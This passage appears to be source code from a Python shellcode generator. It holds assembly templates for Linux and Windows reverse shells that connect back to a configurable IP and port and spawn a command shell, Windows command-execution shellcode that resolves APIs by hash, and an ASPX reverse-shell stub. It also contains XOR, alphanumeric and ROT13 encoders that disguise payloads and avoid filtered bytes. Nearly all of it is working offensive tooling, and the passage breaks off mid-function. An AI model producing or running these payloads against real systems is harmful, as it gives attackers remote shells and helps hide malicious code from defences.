mov bl, 1 ; SYS_SOCKET socket() ; ECX xor ecx, ecx push ecx push BYTE 6 ; IPPROTO_TCP || int protocol); push BYTE 1 ; SOCK_STREAM || int type, push BYTE 2 ; AF_INET || socket(int domain, mov ecx, esp ; ECX - PTR to arguments for socket() int 0x80 ; sockfd will be stored in EAX after this call ; EAX return mov esi, eax ; save socket fd in ESI for later ; ; =============================== CONNECT ===================================== ; ; connect( ; 3, ; {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, ; 16 ; ) = -1 EINPROGRESS (Operation now in progress) ; ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); ; jmp short call_get_ip_and_port back2shellcode: pop edi ; getting ip and port address from ESP ; EAX xor eax, eax mov al, 102 ; socketcall ; EBX xor ebx, ebx mov bl, 3 ; SYS_CONNECT connect() ; ECX xor edx, edx ; push edx ; 0.0.0.0 - ALL interfaces ; push DWORD 0x0100007f ; 127.0.0.1 in reverse *** CONTAINS NULLs ! *** ; push DWORD 0x0101a8c0 ; 192.168.1.1 in reverse push DWORD [edi] ; push IP push WORD [edi+0x4] ; push port dec ebx ; decrease bl from 3 to 2 to use it in the next push push WORD bx ; 2 - AF_INET inc ebx ; put back bl to 3 for SYS_CONNECT mov ecx, esp ; ptr to struct sockaddr push BYTE 16 ; socklen_t addrlen); push ecx ; const struct sockaddr *addr, push esi ; connect(int sockfd, mov ecx, esp ; ECX = PTR to arguments for connect() int 0x80 ; sockfd will be in EBX ; ; =============================== DUP FD ===================================== ; ; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr) ; to a client. For this, we can dup2 syscall to duplicate a file descriptor. ; man 2 dup2 ; int dup2(int oldfd, int newfd); ; EAX, EBX, ECX ; 63 sockfd 0 ; 63 sockfd 1 ; 63 sockfd 2 ; ; move our sockfd to EAX mov eax, ebx xor eax, eax mov al, 63 ; dup2 syscall xor ecx, ecx ; 0 - stdin int 0x80 ; call dup2(sockfd, 0) mov al, 63 ; dup2 syscall mov cl, 1 ; 1 - stdout int 0x80 ; call dup2(sockfd, 1) mov al, 63 ; dup2 syscall mov cl, 2 ; 2 - stderr int 0x80 ; call dup2(sockfd, 2) ; ; =============================== EXECVE ===================================== ; ; Now as we forwarded sockfd to a client, we can spawn shell. ; Prepare the path, in little-endian, using the Python ; >>> '//bin/sh'[::-1].encode('hex') ; '68732f6e69622f2f' ; ; int execve(const char *filename, char *const argv[], char *const envp[]); ; EAX EBX, ECX, EDX ; 11 '//bin/sh' PTR to EBX NULL ; EAX xor eax, eax mov al, 11 ; execve syscall ; EBX xor edx, edx push edx ; NULL termination of '//bin/sh' string push 0x68732f6e ; '//bin/sh' in reverse push 0x69622f2f ; beginning of '//bin/sh' string is here mov ebx, esp ; put the address of '//bin/sh' into ebx via esp ; ECX push edx ; NULL termination of a stack push ebx ; load our '//bin/sh' on a stack mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string. ; EDX push edx ; NULL terminator mov edx, esp ; EDX is a PTR to a stack which has an address to NULL. int 0x80 ; call execve(EBX, ECX, EDX) call_get_ip_and_port: call back2shellcode ; dd 0x0101a8c0 ; Example: DWORD 192.168.1.1 reverse (in hex) ; db 0xc0, 0xa8, 0x01, 0x01 ; Example: BYTE 192.168.1.1 straight (in hex) db CONNECTBACK_IP ; dw 0x4530 ; Example: WORD 12357 reverse (in hex) ; db 0x30, 0x45 ; Example: BYTE 12357 straight (in hex) db CONNECTBACK_PORT """ connectback_ip_hex = '' for i in connectback_ip.split('.'): connectback_ip_hex += '0x' + '{:02X}'.format(int(i)) + ', ' connectback_ip_hex = connectback_ip_hex[:-2] connectback_port_hex = '0x' + '{:04X}'.format(connectback_port)[:-2] + ', ' connectback_port_hex += '0x' + '{:04X}'.format(connectback_port)[-2:] elif self.OS_TARGET_ARCH == '64bit': code = """ BITS 64 global _start ; settings ;IP equ 0x0100007f ; default 127.0.0.1, contains nulls so will need mask IP equ CONNECTBACK_IP ;PORT equ 0x5c11 ; default 4444 PORT equ CONNECTBACK_PORT ; syscall kernel opcodes SYS_SOCKET equ 0x29 SYS_CONNECT equ 0x2a SYS_DUP2 equ 0x21 SYS_EXECVE equ 0x3b ; argument constants AF_INET equ 0x2 SOCK_STREAM equ 0x1 _start: ; High level psuedo-C overview of shellcode logic: ; ; sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) ; ; struct sockaddr = {AF_INET; [PORT; IP; 0x0]} ; ; connect(sockfd, &sockaddr, 16) ; ; dup2(sockfd, STDIN+STDOUT+STDERR) ; execve("/bin/sh", NULL, NULL) create_sock: ; sockfd = socket(AF_INET, SOCK_STREAM, 0) ; AF_INET = 2 ; SOCK_STREAM = 1 ; syscall number 41 xor esi, esi ; 0 out rsi mul esi ; 0 out rax, rdx ; rdx = IPPROTO_IP (int: 0) inc esi ; rsi = SOCK_STREAM (int: 1) push AF_INET ; rdi = AF_INET (int: 2) pop rdi add al, SYS_SOCKET syscall ; copy socket descriptor to rdi for future use push rax pop rdi struct_sockaddr: ; server.sin_family = AF_INET ; server.sin_port = htons(PORT) ; server.sin_addr.s_addr = inet_addr("127.0.0.1") ; bzero(&server.sin_zero, 8) push rdx push rdx mov dword [rsp + 0x4], IP mov word [rsp + 0x2], PORT mov byte [rsp], AF_INET connect_sock: ; connect(sockfd, (struct sockaddr *)&server, sockaddr_len) push rsp pop rsi push 0x10 pop rdx push SYS_CONNECT pop rax syscall dupe_sockets: ; dup2(sockfd, STDIN) ; dup2(sockfd, STDOUT) ; dup2(sockfd, STERR) push 0x3 ; loop down file descriptors for I/O pop rsi dupe_loop: dec esi mov al, SYS_DUP2 syscall jne dupe_loop exec_shell: ; execve('//bin/sh', NULL, NULL) push rsi ; *argv[] = 0 pop rdx ; *envp[] = 0 push rsi ; '\0' mov rdi, '//bin/sh' ; str push rdi push rsp pop rdi ; rdi = &str (char*) mov al, SYS_EXECVE ; we fork with this syscall syscall """ connectback_ip_hex = '0x' for i in reversed(connectback_ip.split('.')): connectback_ip_hex += '{:02X}'.format(int(i)) connectback_port_hex = '0x' + '{:04X}'.format(connectback_port)[-2:] connectback_port_hex += '{:04X}'.format(connectback_port)[:-2] else: print "Format: %s is not supported" % self.OS_TARGET_ARCH return code = code.replace("CONNECTBACK_IP", connectback_ip_hex) code = code.replace("CONNECTBACK_PORT", connectback_port_hex) return code class WindowsShellcodes(): def __init__(self, OS_TARGET_ARCH): self.shell_types = ["message", "reverse", "command"] self.target_os = "WINDOWS" self.target_arch = OS_TARGET_ARCH def message(self, message=''): """ Get simple asm code for windows """ if not message: message = 'hello' code = """ global _start _start: ;eax holds return value ;ebx will hold function addresses ;ecx will hold string pointers ;edx will hold NULL xor eax,eax xor ebx,ebx ;zero out the registers xor ecx,ecx xor edx,edx jmp short GetLibrary LibraryReturn: pop ecx ;get the library string mov [ecx + 10], dl ;insert NULL mov ebx, ADDR_LoadLibraryA ;LoadLibraryA(libraryname); push ecx ;beginning of user32.dll call ebx ;eax will hold the module handle jmp short FunctionName FunctionReturn: pop ecx ;get the address of the Function string xor edx,edx mov [ecx + 11], dl ;insert NULL push ecx push eax mov ebx, ADDR_GetProcAddress ;GetProcAddress(hmodule,functionname); call ebx ;eax now holds the address of MessageBoxA jmp short Message MessageReturn: pop ecx ;get the message string xor edx,edx mov [ecx+3], dl ;insert the NULL xor edx,edx push edx ;MB_OK push ecx ;title push ecx ;message push edx ;NULL window handle call eax ;MessageBoxA(windowhandle,msg,title,type); Address ender: xor edx,edx push eax mov eax, ADDR_ExitProcess ;ExitProcess(exitcode); call eax ;exit cleanly so we don't crash the parent program ;the N at the end of each string signifies the location of the NULL ;character that needs to be inserted GetLibrary: call LibraryReturn db 'user32.dllN' FunctionName: call FunctionReturn db 'MessageBoxAN' Message: call MessageReturn db 'MESSAGEN' """ code = code.replace("MESSAGE", str(message)) functions = ['LoadLibraryA', 'GetProcAddress', 'ExitProcess'] handle = windll.kernel32.GetModuleHandleA('kernel32.dll') for func in functions: address = hex(windll.kernel32.GetProcAddress(handle, func)) code = code.replace("ADDR_" + func, str(address)) return code def command(self, command='calc.exe', technique='PEB'): """ Get simple asm code for windows """ code = '' if technique == 'SEH': code = """ global _start _start: call start_main LGetProcAddress: push ebx push ebp push esi push edi mov ebp, [esp + 24] mov eax, [ebp + 0x3c] mov edx, [ebp + eax + 120] add edx, ebp mov ecx, [edx + 24] mov ebx, [edx + 32] add ebx, ebp LFnlp: jecxz LNtfnd dec ecx mov esi, [ebx + ecx * 4] add esi, ebp xor edi, edi cld LHshlp: xor eax, eax lodsb cmp al, ah je LFnd ror edi, 13 add edi, eax jmp short LHshlp LFnd: cmp edi, [esp + 20] jnz LFnlp mov ebx, [edx + 36] add ebx, ebp mov cx, [ebx + 2 * ecx] mov ebx, [edx + 28] add ebx, ebp mov eax, [ebx + 4 * ecx] add eax, ebp jmp short LDone LNtfnd: xor eax, eax LDone: pop edi pop esi pop ebp pop ebx ret 8 start_main: pop esi push byte 0x30 pop ecx mov ebx, [fs:ecx] mov ebx, [ebx + 0x0c] mov ebx, [ebx + 0x1c] mov ebx, [ebx] mov ebx, [ebx + 0x08] push ebx ; kernel32.dll base push HASH_WinExec ; WinExec call esi ; GetProcAddress(kerne32.dll, WinExec) push eax push ebx ; kernel32.dll base push HASH_ExitProcess ; ExitProcess call esi ; GetProcAddress(kerne32.dll, ExitProcess) push eax """ code += """ jmp short GetCommand CommandReturn: pop ebx ; ebx now holds the handle to the string ;xor eax,eax push eax xor eax,eax ; for some reason the registers can be very volatile, did this just in case ;mov [ebx + 89],al ; insert the NULL character push ebx mov ebx, [ebp-32] ; WinExec: 0x7c86114d call ebx ; call WinExec(path,showcode) xor eax,eax ; zero the register again, clears WinExec retval push eax mov ebx, [ebp-36] ; ExitProcess: 0x7c81caa2 call ebx ;call ExitProcess(0); GetCommand: ;the N at the end of the db will be replaced with a null character call CommandReturn db "COMMAND 0" """ code = code.replace("COMMAND", str(command)) code = code.replace('HASH_WinExec', str(self.compute_hash_by('WinExec', 0xd))) code = code.replace('HASH_ExitProcess', str(self.compute_hash_by('ExitProcess', 0xd))) if technique == 'PEB': code = """ global _start _start: jmp start_main ;peb technique find_kernel32: xor eax, eax ; clear ebx mov eax, [fs:0x30] ; get a pointer to the PEB mov eax, [eax+0x0C] ; get PEB->Ldr mov eax, [eax+0x14] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) mov eax, [eax] ; get the next entry (2nd entry) mov eax, [eax] ; get the next entry (3rd entry) mov eax, [eax+0x10] ; get the 3rd entries base address (kernel32.dll) ret ;Function : Find function base address find_function: pushad mov ebp,[esp+0x24] mov eax,[ebp+0x3c] mov edx,[ebp+eax+0x78] add edx,ebp mov ecx,[edx+0x18] mov ebx,[edx+0x20] add ebx,ebp find_function_loop: jecxz find_function_finished dec ecx mov esi,[ebx+ecx*4] add esi,ebp xor edi,edi xor eax,eax cld compute_hash_again: lodsb test al,al jz compute_hash_finished ror edi,0xd add edi,eax jmp compute_hash_again compute_hash_finished: find_function_compare: cmp edi,[esp+0x28] jnz find_function_loop mov ebx,[edx+0x24] add ebx,ebp mov cx,[ebx+2*ecx] mov ebx,[edx+0x1c] add ebx,ebp mov eax,[ebx+4*ecx] add eax,ebp mov [esp+0x1c],eax find_function_finished: popad ret find_funcs_for_dll: lodsd push eax push edx call find_function mov [edi], eax add esp,0x08 add edi,0x04 cmp esi,ecx jne find_funcs_for_dll find_funcs_for_dll_finished: ret GetHashes: call GetHashesReturn dd HASH_CreateFileA ; CreateFileA hash dd HASH_WriteFile ; WriteFile hash dd HASH_CloseHandle ; CloseHandle hash dd HASH_WinExec ; WinExec hash dd HASH_ExitProcess ; ExitProcess hash ;Main start_main: sub esp,0x14 ;allocate space on stack to store 5 function address mov ebp,esp call find_kernel32 mov edx,eax ;save base address of kernel32 in edx jmp GetHashes ;get address of WinExec hash GetHashesReturn: pop esi ;get pointer to hash into esi lea edi, [ebp+0x4] ;we will store the function addresses at edi mov ecx,esi add ecx,0x14 ; store address of last hash into ecx call find_funcs_for_dll ;get function pointers for all hashes jmp startcalling startcalling: ;All Done Start calling Win32 APIs xor eax,eax xor ebx,ebx ;zero out the registers xor ecx,ecx ;ECX will always hold 0 jmp GetArgument GetArgument: call ArgumentReturn db "COMMAND 0" ArgumentReturn: ;calc.exe pop edx push edx call [ebp+16] ;WinExec.Kernel32.dll push ecx ;0 call [ebp+20] ;ExitProcess.Kernel32.dll """ code = code.replace("COMMAND", str(command)) code = code.replace('HASH_CreateFileA', str(self.compute_hash_by('CreateFileA', 0xd))) code = code.replace('HASH_WriteFile', str(self.compute_hash_by('WriteFile', 0xd))) code = code.replace('HASH_CloseHandle', str(self.compute_hash_by('CloseHandle', 0xd))) code = code.replace('HASH_WinExec', str(self.compute_hash_by('WinExec', 0xd))) code = code.replace('HASH_ExitProcess', str(self.compute_hash_by('ExitProcess', 0xd))) return code def reverse(self, connectback_ip, connectback_port): code = """ global _start _start: cld call main pusha mov ebp,esp xor eax,eax mov edx,DWORD [fs:eax+0x30] mov edx,DWORD [edx+0xc] mov edx,DWORD [edx+0x14] place1: mov esi,DWORD [edx+0x28] movzx ecx,WORD [edx+0x26] xor edi,edi loop1: lodsb cmp al,0x61 jl place2 sub al,0x20 place2: ror edi,0xd add edi,eax loop loop1 push edx push edi mov edx,DWORD [edx+0x10] mov ecx,DWORD [edx+0x3c] mov ecx,DWORD [ecx+edx*1+0x78] jecxz place6 add ecx,edx push ecx mov ebx,DWORD [ecx+0x20] add ebx,edx mov ecx,DWORD [ecx+0x18] place3: jecxz place5 dec ecx mov esi,DWORD [ebx+ecx*4] add esi,edx xor edi,edi place4: lodsb ror edi,0xd add edi,eax cmp al,ah jne place4 add edi,DWORD [ebp-0x8] cmp edi,DWORD [ebp+0x24] jne place3 pop eax mov ebx,DWORD [eax+0x24] add ebx,edx mov cx,WORD [ebx+ecx*2] mov ebx,DWORD [eax+0x1c] add ebx,edx mov eax,DWORD [ebx+ecx*4] add eax,edx mov DWORD [esp+0x24],eax pop ebx pop ebx popa pop ecx pop edx push ecx jmp eax place5: pop edi place6: pop edi pop edx mov edx,DWORD [edx] jmp place1 main: pop ebp push 0x3233 push 0x5f327377 push esp push 0x726774c call ebp mov eax,0x190 sub esp,eax push esp push eax push 0x6b8029 call ebp push eax push eax push eax push eax inc eax push eax inc eax push eax push 0xe0df0fea call ebp xchg edi,eax push 0x5 push CONNECTBACK_IP ;host push CONNECTBACK_PORT ; port mov esi,esp place7: push 0x10 push esi push edi push 0x6174a599 call ebp test eax,eax je place8 dec DWORD [esi+0x8] jne place7 push 0x56a2b5f0 call ebp place8: push 0x646d63 mov ebx,esp push edi push edi push edi xor esi,esi push 0x12 pop ecx loop2: push esi loop loop2 mov WORD [esp+0x3c],0x101 lea eax,[esp+0x10] mov BYTE [eax],0x44 push esp push eax push esi push esi push esi inc esi push esi dec esi push esi push esi push ebx push esi push 0x863fcc79 call ebp mov eax,esp dec esi push esi inc esi push DWORD [eax] push 0x601d8708 call ebp mov ebx,0x56a2b5f0 push 0x9dbd95a6 call ebp cmp al,0x6 jl place9 cmp bl,0xe0 jne place9 mov ebx,0x6f721347 place9: push 0x0 push ebx call ebp """ connectback_ip_hex = '0x' connectback_ip_arr = [] for i in connectback_ip.split('.'): connectback_ip_arr.append('{:02X}'.format(int(i))) for i in reversed(connectback_ip_arr): connectback_ip_hex += i connectback_port_hex = '0x' + '{:04X}'.format(connectback_port)[-2:] connectback_port_hex += '{:04X}'.format(connectback_port)[:-2] connectback_port_hex += '0002' code = code.replace("CONNECTBACK_IP", connectback_ip_hex) code = code.replace("CONNECTBACK_PORT", connectback_port_hex) return code def compute_hash_by(self, key, num=0xd): """ Compute hash of WinApi functions """ hash = 0 while key: c_ptr = ord(key[0]) hash = (hash << (32 - num)) & 0xffffffff | (hash >> num) & 0xffffffff hash += c_ptr key = key[1:] hash = "0x%08x" % hash return hash ================================================ FILE: shellcodes/DotNetShellcode.py ================================================ import os from shellcode import Shellcode class AspxShellcode(Shellcode): """ Class with shellcodes for java language """ def __init__(self, connectback_ip='localhost', connectback_port=5555, badchars=['\x00']): Shellcode.__init__(self, connectback_ip=connectback_ip, connectback_port=connectback_port, badchars=badchars) def get_reverse(self, inline=False): """ Function to get aspx reverse shellcode """ if not self.CONNECTBACK_IP or not self.CONNECTBACK_PORT: print ("Settings for connectback listener must be defined") return False aspx = """ <%@ Page Language="C#" %> <%@ Import Namespace="System.Runtime.InteropServices" %> <%@ Import Namespace="System.Net" %> <%@ Import Namespace="System.Net.Sockets" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Security.Principal" %> """ if inline: aspx = self.make_inline(aspx) aspx = aspx.replace("LOCALHOST", str(self.CONNECTBACK_IP)).replace("LOCALPORT", str(self.CONNECTBACK_PORT)) return aspx def get_shellcode(self, inline=False): return self.get_reverse(inline) ================================================ FILE: shellcodes/Encoders.py ================================================ #!/usr/bin/python # -*- coding: utf-8 -*- from random import * import sys from Runshellcode import RunShellcode from ShellUtils import * import types class EncoderError(Exception): pass class Encoder(object): def encode(self, payload): return payload class AlphanumericEncoder(Encoder): def __init__(self, disallowed_chars="\x00\x0d\x0a", buffer_register='ecx', offset=0): self.buffer_register = buffer_register self.allowed_chars = self.create_allowed_chars(disallowed_chars) self.offset = offset def create_allowed_chars(self, bad_chars): allowed_chars = range(0x61, 0x7b)+range(0x42, 0x5b) + range(0x30,0x3a) for ch in bad_chars: if ord(ch) in allowed_chars: allowed_chars.remove(ord(ch)) return allowed_chars def encode(self, payload): shell = [ord(c) for c in payload] reg = self.buffer_register.upper() stub =self.create_decoder_stub(reg) offset=0 encoded="" while offset < len(shell): block = shell[offset: offset+1] encoded+=self.encode_byte(block) offset+=1 return stub+encoded+'AA' def create_decoder_stub(self, reg): decoder = self.gen_decoder_prefix(reg) + ( "jA" # push 0x41 "X" # pop eax "P" # push eax "0A0" # xor byte [ecx+30], al "A" # inc ecx <--- "kAAQ" # imul eax, [ecx+42], 51 -> 10 | "2AB" # xor al, [ecx + 42] | "2BB" # xor al, [edx + 42] | "0BB" # xor [edx + 42], al | "A" # inc ecx | "B" # inc edx | "X" # pop eax | "P" # push eax | "8AB" # cmp [ecx + 42], al | "uJ" # jnz short ------------------------- "I") # first encoded char, fixes the above J return decoder def gen_decoder_prefix(self, reg): if self.offset > 32: raise Exception("Critical: Offset is greater than 32") # use inc ebx as a nop here so we still pad correctly if self.offset <= 16: nop = 'C' * self.offset mod = 'I' * (16 - self.offset) + nop + '7QZ' # dec ecx,,, push ecx, pop edx edxmod = 'J' * (17 - self.offset) else: mod = 'A' * (self.offset - 16) nop = 'C' * (16 - mod.length) mod += nop + '7QZ' edxmod = 'B' * (17 - (self.offset - 16)) regprefix = { 'EAX' : 'PY' + mod, # push eax, pop ecx 'ECX' : 'I' + mod, # dec ecx 'EDX' : edxmod + nop + '7RY', # dec edx,,, push edx, pop ecx 'EBX' : 'SY' + mod, # push ebx, pop ecx 'ESP' : 'TY' + mod, # push esp, pop ecx 'EBP' : 'UY' + mod, # push ebp, pop ecx 'ESI' : 'VY' + mod, # push esi, pop ecx 'EDI' : 'WY' + mod, # push edi, pop ecx } reg = reg.upper() if reg not in regprefix.keys(): raise Exception("Invalid register name") return regprefix[reg] def encode_byte(self, block): # No, not nipple. nibble_chars = [[],[],[],[],[],[],[],[],[],[],[],[],[],[],[],[]] for ch in self.allowed_chars: nibble_chars[ch & 0x0F].append(chr(ch)) poss_encodings = [] block_low_nibble = block[0] & 0x0F block_high_nibble = block[0] >> 4 # Get list of chars suitable for expressing lower part of byte first_chars = nibble_chars[block_low_nibble] # Build a list of possible encodings for first_char in first_chars: first_high_nibble = ord(first_char[0]) >> 4 # In the decoding process, the low nibble of the second char gets combined # (either ADDed or XORed depending on the encoder) with the high nibble of the first char, # and we want the high nibble of our input byte to result second_low_nibble = (block_high_nibble^first_high_nibble) & 0x0F # Find valid second chars for this first char and add each combination to our possible encodings second_chars = nibble_chars[second_low_nibble] for second_char in second_chars: poss_encodings.append(second_char + first_char) if len(poss_encodings) == 0: raise Exception("No encoding of 0x%02x possible with limited character set" % block) return poss_encodings[randint(0, len(poss_encodings)-1)] class XorEncoder(Encoder): def __init__(self, disallowed_chars=(0x00, 0x0D, 0x0A)): self._disallowed_chars = self.set_disallowed_chars(disallowed_chars) self._usable_chars = set(range(256)) - self._disallowed_chars def set_disallowed_chars(self, chars): new_chars = set() for char in chars: new_chars.add(ord(char)) return new_chars def _get_supported_register_sets(self): return [] def _get_register_set(self, register_set): return {} def _get_header(self): return [] def _get_payload_size_position(self): raise NotImplementedError() def _get_xor_key_position(self): raise NotImplementedError() def _encode_payload(self, payload, register_sets): buffer = [] if isinstance(payload, types.StringTypes): buffer.extend(ord(x) & 0xFF for x in payload) else: buffer.extend(payload) for c in self._usable_chars: ret = buffer[:] for i in range(len(ret)): ret[i] = ret[i] ^ c if ret[i] in self._disallowed_chars: # break inner for break else: self._xor_key = c # break outer for break else: raise EncoderError('cannot encode') return ret def _prefix_header(self, payload, register_sets): ret = self._get_header() payload_len = 0x10000 - len(payload) payload_size_pos = self._get_payload_size_position() ret[payload_size_pos] = payload_len & 0xFF ret[payload_size_pos + 1] = ( (payload_len & 0xFF00) >> 8) xor_key_pos = self._get_xor_key_position() for reg_set in register_sets: for pos, value in self._get_register_set(reg_set).iteritems(): ret[pos] = value for i, c in enumerate(ret): if (c in self._disallowed_chars) and ( i != xor_key_pos): # break the inner for break else: # break the outter for break else: raise EncoderError('cannot encode') ret[xor_key_pos] = self._xor_key ret.extend(payload) return ret def encode(self, payload, register_sets=[]): """Encode payload. :param payload: the payload, either a string or a sequence of bytes :param register_sets: a sequence of registers to try in shellcode header. Sample names include 'eax', 'edx', and 'ebx'. :return: a sequence of encoded bytes """ if len(payload) == 0: return [] if len(payload) > 65535: raise EncoderError('cannot encode') if not self._usable_chars: raise EncoderError('cannot encode') if not register_sets: register_sets = self._get_supported_register_sets() encoded_payload = self._encode_payload(payload, register_sets) ret = self._prefix_header(encoded_payload, register_sets) return ret def encode_to_string(self, payload, register_sets=[]): """Encode payload. Return a string. :see: encode """ return ''.join(chr(x) for x in self.encode(payload, register_sets)) class FnstenvXorEncoder(XorEncoder): """Fnstenv Xor based on http://www.metasploit.com/sc/x86_fnstenv_xor_byte.asm.""" HEADER = [ 0xD9, 0xE1, # fabs 0xD9, 0x34, 0x24, # fnstenv [esp] 0x5A, # pop edx 0x5A, # pop edx 0x5A, # pop edx 0x5A, # pop edx 0x80, 0xEA, 0xE7, # sub dl,-25 (offset to payload) 0x31, 0xC9, # xor ecx,ecx 0x66, 0x81, 0xE9, 0xA1, 0xFE, # sub cx,-0x15F (0x15F is size of payload) 0x80, 0x32, 0x99, # decode: xor byte [edx],0x99 0x42, # inc edx 0xE2, 0xFA, # loop decode # payload goes here ] REGISTER_SET = { 'edx': {5: 0x5A, 6: 0x5A, 7: 0x5A, 8: 0x5A, 9: 0x80, 10: 0xEA, 20: 0x32, 22: 0x42}, 'eax': {5: 0x58, 6: 0x58, 7: 0x58, 8: 0x58, # 9: 0x90, 10: 0x2C, 9: 0x80, 10: 0xE8, 20: 0x30, 22: 0x40}, 'ebx': {5: 0x5B, 6: 0x5B, 7: 0x5B, 8: 0x5B, 9: 0x80, 10: 0xEB, 20: 0x33, 22: 0x43}, } XOR_KEY_POSITION = 21 PAYLOAD_SIZE_POSITION = 17 # 17 and 18 def _get_supported_register_sets(self): return FnstenvXorEncoder.REGISTER_SET.keys() def _get_register_set(self, register_set): return FnstenvXorEncoder.REGISTER_SET[register_set] def _get_header(self): return FnstenvXorEncoder.HEADER[:] def _get_payload_size_position(self): return FnstenvXorEncoder.PAYLOAD_SIZE_POSITION def _get_xor_key_position(self): return FnstenvXorEncoder.XOR_KEY_POSITION class JumpCallXorEncoder(XorEncoder): HEADER = [ 0xeb, 0x10, # jmp getdata 0x5b, # begin: pop ebx 0x31, 0xc9, # xor ecx, ecx 0x66, 0x81, 0xe9, 0xa1, 0xfe, # sub cx, -0x15F 0x80, 0x33, 0x99, # decode: xor byte[ebx], 0x99 0x43, # inc ebx 0xe2, 0xfa, # loop decode 0xeb, 0x05, # jmp payload 0xe8, 0xeb, 0xff, 0xff, 0xff, # getdata: call begin # payload goes here # payload: ] REGISTER_SET = { 'eax': {2: 0x58, 11: 0x30, 13: 0x40}, 'ebx': {2: 0x5b, 11: 0x33, 13: 0x43}, 'edx': {2: 0x5a, 11: 0x32, 13: 0x42}, } XOR_KEY_POSITION = 12 PAYLOAD_SIZE_POSITION = 8 def _get_header(self): return JumpCallXorEncoder.HEADER[:] def _get_supported_register_sets(self): return JumpCallXorEncoder.REGISTER_SET.keys() def _get_register_set(self, register_set): return JumpCallXorEncoder.REGISTER_SET[register_set] def _get_payload_size_position(self): return JumpCallXorEncoder.PAYLOAD_SIZE_POSITION def _get_xor_key_position(self): return JumpCallXorEncoder.XOR_KEY_POSITION class CodeEncoders: """ Class with Encoders """ def __init__(self, OS_SYSTEM, OS_TARGET, OS_TARGET_ARCH, BADCHARS): self.name = "" self.OS_SYSTEM = OS_SYSTEM self.OS_TARGET = OS_TARGET self.OS_TARGET_ARCH = OS_TARGET_ARCH self.BADCHARS = BADCHARS self.TMP_DIR = 'tmp' self.step = 0 self.max_steps = 20 return def encode_shellcode(self, _byte_array, encoder_type, debug=0): """Encodes shellcode and returns encoded shellcode :param encoder_type: const of EncoderType """ encoded_shellcode = '' if encoder_type == Constants.EncoderType.XOR or encoder_type == 1: encoded_shellcode = self.xor_encoder(_byte_array, debug) elif encoder_type == Constants.EncoderType.ALPHANUMERIC: encoded_shellcode = self.alphanum_encoder(_byte_array, debug) elif encoder_type == Constants.EncoderType.ROT_13: encoded_shellcode = self.rot_13_encoder(_byte_array, debug) elif encoder_type == Constants.EncoderType.FNSTENV_XOR: encoded_shellcode = self.fnst_encoder(_byte_array, debug) elif encoder_type == Constants.EncoderType.JUMPCALL_XOR: encoded_shellcode = self.jumpcall_encoder(_byte_array, debug) else: print "There no encoder of this type" return None return encoded_shellcode def clean_bad_chars(self, orig_array, payload): if not self.BADCHARS: print "You must specify some params" return None for k in self.BADCHARS: # Ooops, BadChar found :( Do XOR stuff again with a new random value # This could run into an infinite loop in some cases if k in payload: payload = self.xor_bytes(orig_array) return payload def xor_bytes(self, byte_array): # Randomize first byte rnd = randint(1, 255) xor1 = (rnd ^ byte_array[0]) xor2 = (xor1 ^ byte_array[1]) xor3 = (xor2 ^ byte_array[2]) xor_array = bytearray() xor_array.append(rnd) xor_array.append(xor1) xor_array.append(xor2) xor_array.append(xor3) return self.clean_bad_chars(byte_array, xor_array) def xor_decoder(self, _shellcode, debug=0): """ The decoder stub is a small chunk of instructions that is prepended to the encoded payload. When this new payload is executed on the target system, the decoder stub executes first and is responsible for decoding the original payload data. Once the original payload data is decoded, the decoder stub passes execution to the original payload. Decoder stubs generally perform a reversal of the encoding function, or in the case of an XOR obfuscation encoding, simply perform the XOR again against the same key value. """ asm_code = """ global _start section .text _start: jmp get_shellcode decoder: pop esi ;pointer to shellcode push esi ;save address of shellcode for later execution mov edi, esi ;copy address of shellcode to edi to work with it xor eax, eax ;clear first XOR-operand register xor ebx, ebx ;clear second XOR-operand register xor ecx, ecx ;clear inner loop-counter xor edx, edx ;clear outer loop-counter loop0: mov al, [esi] ;get first byte from the encoded shellcode mov bl, [esi+1] ;get second byte from the encoded shellcode xor al, bl ;xor them (result is saved to eax) mov [edi], al ;save (decode) to the same memory location as the encoded shellcode inc edi ;move decoded-pointer 1 byte onward inc esi ;move encoded-pointer 1 byte onward inc ecx ;increment inner loop-counter cmp cl, 0x3 ;dealing with 4byte-blocks! jne loop0 inc esi ;move encoded-pointer 1 byte onward xor ecx, ecx ;clear inner loop-counter add dx, 0x4 ;move outer loop-counter 4 bytes onward cmp dx, len ;check whether the end of the shellcode is reached jne loop0 call [esp] ;execute decoded shellcode get_shellcode: call decoder shellcode: db USER_SHELLCODE len: equ $-shellcode """ asm_code = asm_code.replace('USER_SHELLCODE', _shellcode) encoded_shellcode, _ = create_shellcode(asm_code, self.OS_TARGET, self.OS_TARGET_ARCH, debug=debug) return encoded_shellcode def xor_encoder(self, _byte_arr, debug=0): self.step += 1 """ Simple xor encoder https://www.rcesecurity.com/2015/01/slae-custom-rbix-shellcode-encoder-decoder/ """ shellcode = bytearray(_byte_arr) # Check whether shellcode is aligned if len(shellcode) % 3 == 1: shellcode.append(0x90) shellcode.append(0x90) elif len(shellcode) % 3 == 2: shellcode.append(0x90) # Loop to split shellcode into 3-byte-blocks final = "" for i in range(0, len(shellcode), 3): tmp_block = bytearray() tmp_block.append(shellcode[i]) tmp_block.append(shellcode[i + 1]) tmp_block.append(shellcode[i + 2]) # Do the RND-Insertion and chained XORs tmp = self.xor_bytes(tmp_block) # Some formatting things for easier use in NASM :) for y in tmp: if len(str(hex(y))) == 3: final += str(hex(y)[:2]) + "0" + str(hex(y)[2:]) + "," else: final += hex(y) + "," final = final[:-1] encoded_shellcode = self.xor_decoder(final, debug) for i in self.BADCHARS: if i in encoded_shellcode: print("Founding BADHCARS") if self.step < self.max_steps: return self.xor_encoder(_byte_arr, debug) else: return None return encoded_shellcode def rot_13_decoder(self, _shellcode, debug=0): """ The decoder stub """ n = 13 n_hex = hex(n) asm_code = """ global _start section .text _start: jmp short call_decoder decoder: pop esi ; shellcode address xor ecx, ecx ; zero out ecx mov cl, len ; initialize counter decode: cmp byte [esi], %s ; can we substract 13? jl wrap_around ; nope, we need to wrap around sub byte [esi], %s ; substract 13 jmp short process_shellcode ; process the rest of the shellcode 